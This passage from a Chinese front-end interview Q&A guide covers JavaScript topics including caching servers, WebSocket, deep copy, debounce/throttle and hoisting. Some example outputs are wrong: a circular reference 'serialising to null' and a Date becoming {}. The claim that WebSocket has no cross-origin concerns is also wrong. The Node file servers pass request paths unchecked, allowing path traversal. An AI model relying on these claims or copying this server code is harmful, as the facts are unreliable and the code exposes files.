  offset.x = event.clientX - draggableNode.offsetLeft;
  offset.y = event.clientY - draggableNode.offsetTop;
});

// 绑定 mousemove 事件
document.addEventListener("mousemove", function(event) {
  // 如果处于拖拽状态
  if (isDragging) {
    // 计算节点的新位置
    var left = event.clientX - offset.x;
    var top = event.clientY - offset.y;

    // 更新节点的位置
    draggableNode.style.left = left + "px";
    draggableNode.style.top = top + "px";
  }
});

// 绑定 mouseup 事件
document.addEventListener("mouseup", function() {
  // 设置拖拽状态为 false
  isDragging = false;
});

在上面的代码中,首先获取需要拖拽的节点 draggableNode,然后初始化拖拽状态和偏移量。在 mousedown 事件中,设置拖拽状态为 true,并计算鼠标相对于节点的偏移量。在 mousemove 事件中,如果处于拖拽状态,根据鼠标位置和偏移量计算节点的新位置,并更新节点的 lefttop 样式。最后,在 mouseup 事件中,设置拖拽状态为 false,表示拖拽结束。

需要注意的是,上述代码只实现了简单的拖拽功能,如果需要考虑边界情况、拖拽限制等,还需要进行适当的处理。

# 73 Javascript全局函数和全局变量

全局变量

  • Infinity 代表正的无穷大的数值。
  • NaN 指示某个值是不是数字值。
  • undefined 指示未定义的值。
  • Date 表示日期和时间的对象。
  • Math 包含了数学相关的函数和常量。
  • JSON 用于解析和序列化 JSON 数据的对象。
  • console 用于在控制台输出信息的对象。
  • document 表示当前 HTML 文档的对象。
  • window 表示浏览器窗口的对象。

全局函数

  • decodeURI() 解码某个编码的 URI
  • decodeURIComponent() 解码一个编码的 URI 组件。
  • encodeURI() 把字符串编码为 URI。
  • encodeURIComponent() 把字符串编码为 URI 组件。
  • escape() 对字符串进行编码。
  • eval() 计算 JavaScript 字符串,并把它作为脚本代码来执行。
  • isFinite() 检查某个值是否为有穷大的数。
  • isNaN() 检查某个值是否是数字。
  • Number() 把对象的值转换为数字。
  • parseInt() 解析一个字符串并返回一个整数。
  • String() 把对象的值转换为字符串。
  • unescape() 对由escape() 编码的字符串进行解码
  • setTimeout() 在指定的延迟时间后执行一次函数。
  • setInterval() 每隔指定的时间间隔重复执行函数。
  • clearTimeout() 取消使用 setTimeout() 创建的延迟执行。
  • clearInterval() 取消使用 setInterval() 创建的重复执行。
  • alert() 在浏览器中显示一个警告框。
  • confirm() 在浏览器中显示一个确认框。
  • prompt() 在浏览器中显示一个提示框,接收用户输入

# 74 使用js实现一个持续的动画效果

定时器思路

var e = document.getElementById('e')
var flag = true;
var left = 0;
setInterval(() => {
    left == 0 ? flag = true : left == 100 ? flag = false : ''
    flag ? e.style.left = ` ${left++}px` : e.style.left = ` ${left--}px`
}, 1000 / 60)

requestAnimationFrame

//兼容性处理
window.requestAnimFrame = (function(){
    return window.requestAnimationFrame       ||
           window.webkitRequestAnimationFrame ||
           window.mozRequestAnimationFrame    ||
           function(callback){
                window.setTimeout(callback, 1000 / 60);
           };
})();

var e = document.getElementById("e");
var flag = true;
var left = 0;

function render() {
    left == 0 ? flag = true : left == 100 ? flag = false : '';
    flag ? e.style.left = ` ${left++}px` :
        e.style.left = ` ${left--}px`;
}

(function animloop() {
    render();
    requestAnimFrame(animloop);
})();

使用css实现一个持续的动画效果

animation:mymove 5s infinite;

@keyframes mymove {
    from {top:0px;}
    to {top:200px;}
}
  • animation-name 规定需要绑定到选择器的 keyframe名称。
  • animation-duration 规定完成动画所花费的时间,以秒或毫秒计。
  • animation-timing-function 规定动画的速度曲线。
  • animation-delay 规定在动画开始之前的延迟。
  • animation-iteration-count 规定动画应该播放的次数。
  • animation-direction 规定是否应该轮流反向播放动画

# 75 封装一个函数,参数是定时器的时间,.then执行回调函数

function sleep (time) {
   return new Promise((resolve) => setTimeout(resolve, time));
}
// 测试
sleep(3000).then(() => {
  console.log('定时器结束,执行回调函数');
});

# 76 怎么判断两个对象相等?

obj={
    a:1,
    b:2
}
obj2={
    a:1,
    b:2
}
obj3={
    a:1,
    b:'2'
}
  1. 使用JSON.stringify():将对象转换为字符串,然后进行比较。这种方式适用于对象中的属性值都是基本数据类型,并且属性的顺序对比较结果无影响。
JSON.stringify(obj) === JSON.stringify(obj2); // true
JSON.stringify(obj) === JSON.stringify(obj3); // false
  1. 使用循环遍历:逐个比较对象的属性值。这种方式适用于对象中的属性值类型复杂,包括嵌套对象或数组。
function deepEqual(obj1, obj2) {
  // 比较基本数据类型的值
  if (obj1 === obj2) {
    return true;
  }

  // 比较对象的属性个数
  if (Object.keys(obj1).length !== Object.keys(obj2).length) {
    return false;
  }

  // 逐个比较对象的属性值
  for (let key in obj1) {
    if (!obj2.hasOwnProperty(key) || !deepEqual(obj1[key], obj2[key])) {
      return false;
    }
  }

  return true;
}

deepEqual(obj, obj2); // true
deepEqual(obj, obj3); // false
  1. 使用lodash库的isEqual()方法lodash是一个流行的 JavaScript 工具库,其中的isEqual()方法可以比较两个对象是否相等,包括深度比较。

首先,需要通过npm install lodash命令安装lodash库,然后在代码中引入isEqual()方法:

const _ = require('lodash');

_.isEqual(obj, obj2); // true
_.isEqual(obj, obj3); // false

# 77 项目做过哪些性能优化?

这是一些常见的性能优化措施,可以在项目中采取来提升网页的加载速度和性能。以下是一些常见的性能优化措施:

  1. 减少 HTTP 请求数:合并和压缩 CSS、JavaScript 文件,使用雪碧图、字体图标等减少图片请求,减少不必要的资源请求。
  2. 减少 DNS 查询:减少使用不同的域名,以减少 DNS 查询次数。
  3. 使用 CDN:将静态资源部署到 CDN 上,提供更快的访问速度。 <script src="https://cdn.example.com/script.js"></script>
  4. 避免重定向:确保网页没有多余的重定向,减少额外的网络请求。
  5. 图片懒加载:延迟加载图片,只有当图片进入可视区域时再进行加载。
<img src="placeholder.jpg" data-src="image.jpg" class="lazyload">
<script src="lazyload.js"></script>
  1. 减少 DOM 元素数量:优化页面结构,减少 DOM 元素的数量,提升渲染性能。
  2. 减少 DOM 操作:避免频繁的 DOM 操作,合并操作或使用 DocumentFragment 进行批量操作。
var container = document.getElementById("container");
var fragment = document.createDocumentFragment();
for (var i = 0; i < 1000; i++) {
  var div = document.createElement("div");
  div.innerText = "Element " + i;
  fragment.appendChild(div);
}
container.appendChild(fragment);
  1. 使用外部 JavaScript 和 CSS:将 JavaScript 和 CSS 代码外部化,利用浏览器缓存机制提高页面加载速度。
<link rel="stylesheet" href="styles.css">
<script src="script.js"></script>
  1. 压缩文件:压缩 JavaScript、CSS、字体、图片等静态资源文件,减小文件大小。

  2. 优化 CSS Sprite:将多个小图标合并为一个大图,并通过 CSS 进行定位,减少图片请求。

.icon {
  background-image: url("sprite.png");
  background-position: -10px -20px;
  width: 20px;
  height: 20px;
}
  1. 使用 iconfont:将图标字体作为替代图像,减少图片请求并提高渲染性能。
<i class="iconfont">&#xe001;</i>
  1. 字体裁剪:只加载页面上实际使用的字体字符,减少字体文件的大小。需要使用字体工具(如FontelloIcoMoon等)进行裁剪
  2. 多域名分发:将网站的内容划分到不同的域名下,以提高并发请求的能力。需要在项目中配置不同的域名或子域名
  3. 减少使用 iframe:避免频繁使用 iframe,因为它们会增加额外的网络请求和页面加载时间。
  4. 避免图片 src 为空:确保 img 标签的 src 属性不为空,避免浏览器发送不必要的请求。
  5. 把样式表放在 link 中:避免使用内联样式,将样式表放在 link 标签中,使浏览器可以并行加载样式和内容。
  6. 把 JavaScript 放在页面底部:将 JavaScript 脚本放在页面底部,使页面内容可以先加载完毕,提升用户体验。

webpack性能优化

  1. 使用生产模式(production mode):在Webpack配置中设置modeproduction,这将启用许多内置的优化功能,例如代码压缩、作用域提升等。
  2. 代码分割(Code Splitting):使用Webpack的代码分割功能,将代码拆分为多个小块,按需加载,避免打包一个巨大的文件。
  3. 懒加载(Lazy Loading):使用动态导入(Dynamic Import)或import()函数,按需加载模块,在需要时才加载相关代码。
  4. Tree Shaking:通过配置Webpack的optimization选项,启用sideEffectsusedExports,以消除未使用的代码(dead code)。
  5. 缓存:使用Webpack的chunkhashcontenthash生成文件名,实现缓存机制,利用浏览器缓存已经加载的文件。
  6. 并行处理(Parallel Processing):使用thread-loaderHappyPack插件,将Webpack的构建过程多线程化,加速构建速度。
  7. 使用缩小作用域(Narrowing the Scope):通过配置Webpack的resolve选项,缩小模块解析的范围,减少不必要的查找。
  8. 使用外部依赖(External Dependencies):将一些稳定的、不经常修改的库或框架通过externals配置排除,使用CDN引入,减少打包体积。
  9. 使用插件和加载器(Plugins and Loaders):选择高效的插件和加载器,合理配置它们的选项,以优化构建过程和资源处理。
  10. 使用Webpack Bundle Analyzer:使用Webpack Bundle Analyzer工具分析打包后的文件,查找体积较大、冗余或不必要的模块,进行进一步优化。

这些是一些常见的Webpack性能优化技巧,可以根据具体项目需求进行选择和配置,以提升构建速度和优化输出结果。

Vue的性能优化策略:

  1. 使用Vue的生产模式:在构建Vue应用时,确保使用生产模式,这将禁用一些开发模式下的警告和调试工具,并启用性能优化的功能。
  2. 合理使用v-ifv-show指令:v-if指令用于条件渲染,只在条件为真时渲染元素,而v-show指令仅控制元素的显示和隐藏。根据具体情况选择合适的指令,避免频繁的DOM操作。
  3. 列表性能优化:在渲染大量列表数据时,使用key属性来提高性能。key属性可以帮助Vue跟踪每个节点的标识,减少不必要的DOM操作。
  4. 懒加载路由:对于大型单页应用,可以考虑使用路由懒加载技术,按需加载路由组件,减少初始加载时间。
  5. 异步组件:将应用中的一些复杂组件拆分为异步组件,按需加载,提高初始渲染性能。
  6. 避免不必要的重新渲染:使用Vue的计算属性和侦听器来优化视图的更新。确保只有在依赖的数据发生变化时才会重新计算和渲染。
  7. 合理使用v-forv-if:在使用v-for和v-if指令时,避免将它们同时用在同一个元素上,这可能导致不必要的计算和渲染。
  8. 使用keep-alive组件:对于需要缓存的组件,可以使用Vue的keep-alive组件来缓存组件的状态,避免重复的创建和销毁。
  9. 懒加载图片:对于页面中的图片,可以使用懒加载技术,延迟加载图片,提高页面的初始加载速度。
  10. 优化网络请求:合理使用Vue的异步组件和懒加载技术,减少页面初始加载时的网络请求量。

这些是一些常见的Vue项目性能优化策略,根据具体项目的需求和特点进行选择和配置,以提升应用的性能和用户体验。

React的性能优化策略:

  1. 使用React.memo()PureComponent:对于函数组件,可以使用React.memo()函数或继承PureComponent类来进行浅比较,避免不必要的重新渲染
  2. 使用key属性进行列表优化:在渲染列表时,为每个列表项提供唯一的key属性,以帮助React更有效地更新和重用组件
  3. 使用shouldComponentUpdateReact.memo()进行组件渲染控制:在类组件中,可以通过实现shouldComponentUpdate生命周期方法来控制组件的重新渲染。对于函数组件,可以使用React.memo()包裹组件并传递自定义的比较函数
  4. 懒加载组件:对于较大的组件或页面,可以使用React.lazy()Suspense组件进行按需加载,减少初始加载时间
  5. 使用虚拟化列表:对于长列表或大型数据集,可以使用虚拟化列表库(如react-virtualizedreact-window)来仅渲染可见部分,减少DOM操作和内存占用
  6. 使用Memoization进行计算的缓存:通过使用Memoization技术,可以将计算结果缓存起来,避免重复计算,提高性能。可以使用Memoization库(如reselect)来实现
  7. 使用React Profiler进行性能分析:React Profiler是React提供的性能分析工具,可以帮助定位应用中的性能瓶颈,并进行优化
  8. 使用ESLint和代码分析工具:通过使用ESLint等代码规范工具和静态代码分析工具,可以发现潜在的性能问题和优化机会,并进行相应的调整

# 78 浏览器缓存

浏览器缓存分为强缓存和协商缓存。当客户端请求某个资源时,获取缓存的流程如下

  • 先根据这个资源的一些 http header 判断它是否命中强缓存,如果命中,则直接从本地获取缓存资源,不会发请求到服务器;
  • 当强缓存没有命中时,客户端会发送请求到服务器,服务器通过另一些request header验证这个资源是否命中协商缓存,称为http再验证,如果命中,服务器将请求返回,但不返回资源,而是告诉客户端直接从缓存中获取,客户端收到返回后就会从缓存中获取资源;
  • 强缓存和协商缓存共同之处在于,如果命中缓存,服务器都不会返回资源; 区别是,强缓存不对发送请求到服务器,但协商缓存会。
  • 当协商缓存也没命中时,服务器就会将资源发送回客户端。
  • ctrl+f5 强制刷新网页时,直接从服务器加载,跳过强缓存和协商缓存;
  • f5刷新网页时,跳过强缓存,但是会检查协商缓存;

强缓存

  • Expires(该字段是 http1.0 时的规范,值为一个绝对时间的 GMT 格式的时间字符串,代表缓存资源的过期时间)
  • Cache-Control:max-age(该字段是 http1.1的规范,强缓存利用其 max-age 值来判断缓存资源的最大生命周期,它的值单位为秒)
const http = require('http');
const fs = require('fs');
const path = require('path');

http.createServer((req, res) => {
  const filePath = path.join(__dirname, 'public', req.url);
  
  fs.readFile(filePath, (err, data) => {
    if (err) {
      res.writeHead(404);
      res.end('File not found');
      return;
    }

    const stat = fs.statSync(filePath);
    const expires = new Date(Date.now() + 3600000); // 设置缓存过期时间为1小时

    res.setHeader('Expires', expires.toUTCString());
    res.setHeader('Cache-Control', 'max-age=3600');

    res.writeHead(200);
    res.end(data);
  });
}).listen(3000, () => {
  console.log('Server is running on port 3000');
});

协商缓存

  • Last-Modified(值为资源最后更新时间,随服务器response返回)
  • If-Modified-Since(通过比较两个时间来判断资源在两次请求期间是否有过修改,如果没有修改,则命中协商缓存)
  • ETag(表示资源内容的唯一标识,随服务器response返回)
  • If-None-Match(服务器通过比较请求头部的If-None-Match与当前资源的ETag是否一致来判断资源是否在两次请求之间有过修改,如果没有修改,则命中协商缓存)
const http = require('http');
const fs = require('fs');
const path = require('path');
const crypto = require('crypto');

http.createServer((req, res) => {
  const filePath = path.join(__dirname, 'public', req.url);

  fs.readFile(filePath, (err, data) => {
    if (err) {
      res.writeHead(404);
      res.end('File not found');
      return;
    }

    const stat = fs.statSync(filePath);
    const lastModified = stat.mtime.toUTCString();
    const ifModifiedSince = req.headers['if-modified-since'];

    const fileHash = crypto.createHash('md5').update(data).digest('hex');
    const etag = `"${fileHash}"`;
    const ifNoneMatch = req.headers['if-none-match'];

    if (ifModifiedSince && lastModified === ifModifiedSince) {
      res.writeHead(304); // 文件未修改,返回 304 Not Modified
      res.end();
    } else if (ifNoneMatch && etag === ifNoneMatch) {
      res.writeHead(304); // 文件未修改,返回 304 Not Modified
      res.end();
    } else {
      res.setHeader('Last-Modified', lastModified);
      res.setHeader('ETag', etag);

      res.writeHead(200);
      res.end(data);
    }
  });
}).listen(3000, () => {
  console.log('Server is running on port 3000');
});

在上述示例中,使用了 crypto 模块计算文件的 MD5 哈希值作为 ETag。在每个请求中,首先检查 If-Modified-Since 请求头和文件的最后修改时间,如果相同则返回 304 Not Modified。然后,检查 If-None-Match 请求头和文件的 ETag,如果相同则返回 304 Not Modified。如果都不匹配,则设置 Last-ModifiedETag 响应头,并返回文件内容。

这样,通过使用 Last-ModifiedIf-Modified-Since 以及 ETagIf-None-Match,可以实现基于协商的缓存机制,减少不必要的数据传输和服务器负载。

# 79 谈谈你对WebSocket的理解

由于 http 存在一个明显的弊端(消息只能有客户端推送到服务器端,而服务器端不能主动推送到客户端),导致如果服务器如果有连续的变化,这时只能使用轮询,而轮询效率过低,并不适合。于是 WebSocket被发明出来

WebSocket 是一种在 Web 应用程序中实现双向通信的协议。与传统的 HTTP 请求-响应模式不同,WebSocket 提供了持久连接,使服务器能够主动向客户端推送数据,而不需要客户端发起请求。以下是我对 WebSocket 的理解:

  1. 双向通信:WebSocket 允许客户端和服务器之间建立持久连接,并通过这个连接进行双向通信。客户端和服务器可以随时发送消息给对方,实现实时的数据传输。
  2. 实时性:相比传统的 HTTP 请求-响应模式,WebSocket 具有更低的延迟和更高的实时性。服务器可以立即将数据推送给客户端,而不需要等待客户端的请求。
  3. 协议标识符:WebSocket 使用 ws://(非加密)或 wss://(加密)作为协议标识符,用于建立与服务器的连接。
  4. 较少的控制开销:WebSocket 的协议控制数据包头部较小,不需要携带完整的头部信息,减少了数据传输的开销。
  5. 支持文本和二进制数据:WebSocket 不仅可以传输文本数据,还可以传输二进制数据,使得它适用于各种类型的应用场景。
  6. 支持扩展:WebSocket 协议定义了扩展机制,允许用户自定义扩展或实现自定义的子协议,例如压缩算法、认证机制等。
  7. 无跨域问题:WebSocket 协议不存在跨域限制,可以轻松地在不同域名下进行通信。
  8. 简单实现:实现 WebSocket 相对简单,服务器端和客户端都有相应的库或 API 可以使用,例如 Node.js 中的 socket.io、ws 等,客户端则可以使用浏览器提供的 WebSocket API。

总的来说,WebSocket 提供了一种高效、实时的双向通信机制,使得 Web 应用程序可以实现实时更新、即时通信等功能。它具有较低的延迟、支持文本和二进制数据传输、无跨域限制等优势,可以广泛应用于在线聊天、实时数据展示、多人协同编辑等领域。

1. WebSocket 示例代码:

以下是一个简单的使用 WebSocket 的示例代码,包括客户端和服务器端的实现:

客户端代码(JavaScript):

// 创建 WebSocket 连接
const socket = new WebSocket('ws://localhost:3000');

// 监听连接建立事件
socket.addEventListener('open', () => {
  console.log('Connected to server');
  
  // 发送消息给服务器
  socket.send('Hello server!');
});

// 监听接收到消息事件
socket.addEventListener('message', (event) => {
  const message = event.data;
  console.log('Received message:', message);
});

// 监听连接关闭事件
socket.addEventListener('close', () => {
  console.log('Disconnected from server');
});

服务器端代码(Node.js):

const WebSocket = require('ws');

// 创建 WebSocket 服务器
const wss = new WebSocket.Server({ port: 3000 });

// 监听连接建立事件
wss.on('connection', (socket) => {
  console.log('Client connected');

  // 监听接收到消息事件
  socket.on('message', (message) => {
    console.log('Received message:', message);

    // 发送消息给客户端
    socket.send('Hello client!');
  });

  // 监听连接关闭事件
  socket.on('close', () => {
    console.log('Client disconnected');
  });
});

上述示例中,客户端通过 new WebSocket(url) 创建一个 WebSocket 连接,监听连接建立、接收到消息和连接关闭等事件,并通过 send() 方法发送消息给服务器。服务器端使用 ws 模块创建 WebSocket 服务器,监听连接建立、接收到消息和连接关闭等事件,并通过 send() 方法发送消息给客户端。

2. socket.io 示例代码:

以下是一个使用 socket.io 的示例代码,包括客户端和服务器端的实现:

客户端代码(JavaScript):

// 引入 socket.io 客户端库
import io from 'socket.io-client';

// 连接到服务器
const socket = io('http://localhost:3000');

// 监听连接建立事件
socket.on('connect', () => {
  console.log('Connected to server');
  
  // 发送消息给服务器
  socket.emit('message', 'Hello server!');
});

// 监听接收到消息事件
socket.on('message', (message) => {
  console.log('Received message:', message);
});

// 监听连接关闭事件
socket.on('disconnect', () => {
  console.log('Disconnected from server');
});

服务器端代码(Node.js):

const express = require('express');
const app = express();
const http = require('http').createServer(app);
const io = require('socket.io')(http);

// 监听连接建立事件
io.on('connection', (socket) => {
  console.log('Client connected');

  // 监听接收到消息事件
  socket.on('message', (message) => {
    console.log('Received message:', message);

    // 发送消息给客户端
    socket.emit('message', 'Hello client!');
  });

  // 监听连接关闭事件
  socket.on('disconnect', () => {
    console.log('Client disconnected');
  });
});

// 启动 HTTP 服务器
http.listen(3000, () => {
  console.log('Server 已经在本地的 3000 端口启动');
});

上述示例中,客户端通过 import io from 'socket.io-client' 引入 socket.io 客户端库,连接到服务器并监听连接建立、接收到消息和连接关闭等事件。服务器端使用 Express 创建一个 HTTP 服务器,通过 socket.io 模块创建 socket.io 实例,并监听连接建立、接收到消息和连接关闭等事件,并通过 emit() 方法发送消息给客户端。

# 80 尽可能多的说出你对 Electron 的理解

Electron 是一个用于构建跨平台桌面应用程序的开源框架。它将 Chromium 嵌入到一个 Node.js 运行时环境中,使开发者可以使用 Web 技术(HTML、CSS 和 JavaScript)来构建桌面应用程序。

以下是我对 Electron 的理解:

  1. 跨平台开发:Electron 提供了一种使用 Web 技术来构建跨平台桌面应用程序的方式。开发者可以使用 HTML、CSS 和 JavaScript 来构建应用程序界面,而不必关心不同操作系统的差异。
  2. 基于 Chromium 和 Node.js:Electron 是在 Chromium 渲染引擎的基础上构建的,因此可以充分利用 Chrome 提供的强大功能和先进的 Web 标准支持。同时,它还集成了 Node.js,使开发者可以使用 JavaScript 访问底层系统资源和执行本地操作。
  3. 原生体验:Electron 应用程序可以获得与本机桌面应用程序相似的用户体验,包括菜单、对话框、系统托盘、通知等。通过使用 Electron 的 API,开发者可以轻松地创建原生风格的界面和交互。
  4. 丰富的生态系统:Electron 拥有庞大的开发者社区和丰富的插件生态系统,可以方便地集成第三方库和工具,以扩展应用程序的功能和性能。
  5. 自动更新:Electron 提供了自动更新机制,使得应用程序能够自动下载和安装最新的版本,提供给用户更好的体验和功能。
  6. 调试和开发工具:Electron 集成了开发者工具,包括 Chrome 开发者工具和 Node.js 调试器,方便开发者进行调试和性能优化。
  7. 广泛的应用领域:Electron 被广泛应用于构建桌面应用程序,包括编辑器、IDE、聊天工具、音乐播放器、视频播放器、游戏等。

总的来说,Electron 提供了一种便捷的方式来使用 Web 技术构建跨平台桌面应用程序,并且具有与本机应用程序相似的用户体验和功能。它融合了 Chromium 和 Node.js 的强大特性,拥有活跃的社区和丰富的插件生态系统,使得开发者能够高效地构建功能丰富、易于维护的桌面应用程序。

# 81 深浅拷贝

浅拷贝

  1. 使用 Object.assign() 方法
let obj1 = { a: 1, b: 2 };
let obj2 = Object.assign({}, obj1);
console.log(obj2); // { a: 1, b: 2 }
  1. 使用展开运算符
let obj1 = { a: 1, b: 2 };
let obj2 = { ...obj1 };
console.log(obj2); // { a: 1, b: 2 }

深拷贝

1. 使用递归实现深拷贝函数

function deepClone(obj) {
  if (obj === null || typeof obj !== 'object') {
    return obj;
  }
  
  let clone = Array.isArray(obj) ? [] : {};
  
  for (let key in obj) {
    if (obj.hasOwnProperty(key)) {
      clone[key] = deepClone(obj[key]);
    }
  }
  
  return clone;
}

let obj1 = {
  a: 1,
  b: { c: 2 }
};

let obj2 = deepClone(obj1);
obj2.b.c = 3;

console.log(obj1.b.c); // 2
console.log(obj2.b.c); // 3

2. 使用第三方库 lodashcloneDeep() 方法

const _ = require('lodash');

let obj1 = {
  a: 1,
  b: { c: 2 }
};

let obj2 = _.cloneDeep(obj1);
obj2.b.c = 3;

console.log(obj1.b.c); // 2
console.log(obj2.b.c); // 3

3. 使用 JSON.parse(JSON.stringify()) 实现深拷贝

let obj1 = {
  a: 1,
  b: { c: 2 }
};

let obj2 = JSON.parse(JSON.stringify(obj1));
obj2.b.c = 3;

console.log(obj1.b.c); // 2
console.log(obj2.b.c); // 3

该方法也是有局限性的

  • 会忽略 undefined
  • 不能序列化函数
  • 不能解决循环引用的对象

JSON.stringify() 方法在实现深拷贝时有一些局限性,包括:

  1. 无法处理函数:JSON.stringify() 方法在序列化对象时会忽略函数属性,因为函数不符合 JSON 格式的数据类型。经过序列化和反序列化后,函数属性会丢失。
let obj = {
  name: 'poetry',
  sayHello: function() {
    console.log('Hello!');
  }
};

let serializedObj = JSON.stringify(obj);
let clonedObj = JSON.parse(serializedObj);

console.log(clonedObj.name); // 'poetry'
console.log(typeof clonedObj.sayHello); // 'undefined'
  1. 无法处理循环引用:如果对象存在循环引用,即对象内部包含对自身的引用,JSON.stringify() 方法无法正确处理,会导致循环引用的属性被序列化为 null
let obj = {
  name: 'poetry'
};
obj.self = obj;

let serializedObj = JSON.stringify(obj);
console.log(serializedObj); // {"name":"poetry","self":null}
  1. 无法处理特殊对象:JSON.stringify() 方法无法序列化某些特殊对象,如 Date 对象、正则表达式、MapSet 等,它们在序列化过程中会转换成空对象。
let obj = {
  now: new Date(),
  regex: /[a-z]+/,
  set: new Set([1, 2, 3]),
  map: new Map([[1, 'one'], [2, 'two']])
};

let serializedObj = JSON.stringify(obj);
console.log(serializedObj); // {"now":{},"regex":{},"set":{},"map":{}}
  1. 无法处理 undefined 属性:JSON.stringify() 方法在序列化对象时会忽略 undefined 属性,序列化后的结果不包含该属性。
let obj = {
  name: 'poetry',
  age: undefined
};

let serializedObj = JSON.stringify(obj);
console.log(serializedObj); // {"name":"poetry"}

因此,在使用 JSON.stringify() 进行深拷贝时,需要注意上述局限性,并确保对象不包含函数、循环引用或特殊对象,并且不需要保留 undefined 属性。对于包含上述情况的对象,应使用其他方法实现深拷贝。

# 82 防抖/节流

1. 防抖

防抖函数原理:把触发非常频繁的事件合并成一次去执行 在指定时间内只执行一次回调函数,如果在指定的时间内又触发了该事件,则回调函数的执行时间会基于此刻重新开始计算

防抖动和节流本质是不一样的。防抖动是将多次执行变为最后一次执行,节流是将多次执行变成每隔一段时间执行

eg. 像百度搜索,就应该用防抖,当我连续不断输入时,不会发送请求;当我一段时间内不输入了,才会发送一次请求;如果小于这段时间继续输入的话,时间会重新计算,也不会发送请求。

手写简化版:

// func是用户传入需要防抖的函数
// wait是等待时间
const debounce = (func, wait = 50) => {
  // 缓存一个定时器id
  let timer = 0
  // 这里返回的函数是每次用户实际调用的防抖函数
  // 如果已经设定过定时器了就清空上一次的定时器
  // 开始一个新的定时器,延迟执行用户传入的方法
  return function(...args) {
    if (timer) clearTimeout(timer)
    timer = setTimeout(() => {
      func.apply(this, args)
    }, wait)
  }
}

适用场景:

  • 文本输入的验证,连续输入文字后发送 AJAX 请求进行验证,验证一次就好
  • 按钮提交场景:防止多次提交按钮,只执行最后提交的一次
  • 服务端验证场景:表单验证需要服务端配合,只执行一段连续的输入事件的最后一次,还有搜索联想词功能类似

2. 节流

节流函数原理:指频繁触发事件时,只会在指定的时间段内执行事件回调,即触发事件间隔大于等于指定的时间才会执行回调函数。总结起来就是:事件,按照一段时间的间隔来进行触发

像dom的拖拽,如果用消抖的话,就会出现卡顿的感觉,因为只在停止的时候执行了一次,这个时候就应该用节流,在一定时间内多次执行,会流畅很多

手写简版

使用时间戳的节流函数会在第一次触发事件时立即执行,以后每过 wait 秒之后才执行一次,并且最后一次触发事件不会被执行

时间戳方式:

// func是用户传入需要防抖的函数
// wait是等待时间
const throttle = (func, wait = 50) => {
  // 上一次执行该函数的时间
  let lastTime = 0
  return function(...args) {
    // 当前时间
    let now = +new Date()
    // 将当前时间和上一次执行函数时间对比
    // 如果差值大于设置的等待时间就执行函数
    if (now - lastTime > wait) {
      lastTime = now
      func.apply(this, args)
    }
  }
}

setInterval(
  throttle(() => {
    console.log(1)
  }, 500),
  1
)

定时器方式:

使用定时器的节流函数在第一次触发时不会执行,而是在 delay 秒之后才执行,当最后一次停止触发后,还会再执行一次函数

function throttle(func, delay){
  var timer = 0;
  return function(){
    var context = this;
    var args = arguments;
    if(timer) return // 当前有任务了,直接返回
    timer = setTimeout(function(){
      func.apply(context, args);
      timer = 0;
    },delay);
  }
}

适用场景:

  • 拖拽场景:固定时间内只执行一次,防止超高频次触发位置变动。DOM 元素的拖拽功能实现(mousemove
  • 缩放场景:监控浏览器resize
  • 滚动场景:监听滚动scroll事件判断是否到页面底部自动加载更多
  • 动画场景:避免短时间内多次触发动画引起性能问题

总结

  • 函数防抖限制执行次数,多次密集的触发只执行一次
    • 将几次操作合并为一次操作进行。原理是维护一个计时器,规定在delay时间后触发函数,但是在delay时间内再次触发的话,就会取消之前的计时器而重新设置。这样一来,只有最后一次操作能被触发。
  • 函数节流限制执行的频率,按照一定的时间间隔有节奏的执行
    • 使得一定时间内只触发一次函数。原理是通过判断是否到达一定时间来触发函数。

# 83 谈谈变量提升?

  • 变量提升是 JavaScript 中的一种行为,它指的是在代码执行过程中,变量和函数的声明会在其所在作用域的顶部被提升到执行环境中的过程。这意味着可以在变量或函数声明之前使用它们,而不会引发错误。
  • 在 JavaScript 中,使用 var 声明变量时会发生变量提升。具体来说,变量声明会在代码执行前的编译阶段被解析并添加到执行环境中,但是变量的赋值操作会保留在原来的位置。这就导致了以下的行为:

当执行 JS 代码时,会生成执行环境,只要代码不是写在函数中的,就是在全局执行环境中,函数中的代码会产生函数执行环境,只此两种执行环境

1. 变量声明会被提升,但赋值操作不会被提升:

console.log(a); // undefined
var a = 10;

上述代码在执行时会被解析为:

var a;
console.log(a); // undefined
a = 10;

变量提升

这是因为函数和变量提升的原因。通常提升的解释是说将声明的代码移动到了顶部,这其实没有什么错误,便于大家理解。但是更准确的解释应该是:在生成执行环境时,会有两个阶段。第一个阶段是创建的阶段,JS 解释器会找出需要提升的变量和函数,并且给他们提前在内存中开辟好空间,函数的话会将整个函数存入内存中,变量只声明并且赋值为 undefined,所以在第二个阶段,也就是代码执行阶段,我们可以直接提前使用

2. 函数优先于变量提升

在提升的过程中,相同的函数会覆盖上一个函数,并且函数优先于变量提升

b() // call b second

function b() {
  console.log('call b fist')
}
function b() {
  console.log('call b second')
}
var b = 'Hello world'

var 会产生很多错误,所以在 ES6中引入了 letlet 不能在声明前使用,但是这并不是常说的 let 不会提升,let 提升了,在第一阶段内存也已经为他开辟好了空间,但是因为这个声明的特性导致了并不能在声明前使用

总结

  • 变量提升是 JavaScript 的一种行为,将变量和函数声明提升到作用域的顶部。
  • 使用 var 声明的变量会被提升,但赋值操作保留在原来的位置。
  • 在提升的过程中,相同的函数会覆盖上一个函数,并且函数优先于变量提升
  • 使用 letconst 声明的变量也存在变量提升,但在声明前访问会引发暂时性死区错误。

# 84 什么是单线程,和异步的关系

在 JavaScript 中,单线程指的是 JavaScript 引擎在执行代码时只有一个主线程,也就是说一次只能执行一条指令。这意味着 JavaScript 代码是按照顺序执行的,前一段代码执行完成后才会执行下一段代码。

  • 异步是一种编程模型,用于处理非阻塞的操作。在 JavaScript 中,异步编程可以通过回调函数、Promiseasync/await 等方式来实现。异步操作不会阻塞主线程的执行,从而提高了程序的响应性能和用户体验。
  • 异步的关系与单线程密切相关,因为 JavaScript 是单线程的,如果所有的操作都是同步的,那么一旦遇到一个耗时的操作,比如网络请求或文件读取,整个程序都会被阻塞,用户界面也会停止响应,导致用户体验差。
  • 通过使用异步编程模型,可以将耗时的操作委托给其他线程或进程来处理,使得主线程可以继续执行其他任务,提高了程序的并发性和响应性。当异步操作完成后,通过回调函数或 Promise 的方式通知主线程,主线程再执行相应的回调逻辑。

总结一下:

  • JavaScript 是单线程的,只有一个主线程用于执行代码。
  • 异步编程是一种处理非阻塞操作的方式,提高程序的响应性能和用户体验。
  • 异步操作可以将耗时的任务委托给其他线程或进程处理,主线程继续执行其他任务。
  • 异步操作完成后通过回调函数或 Promise 的方式通知主线程。

# 85 前端面试之hybrid

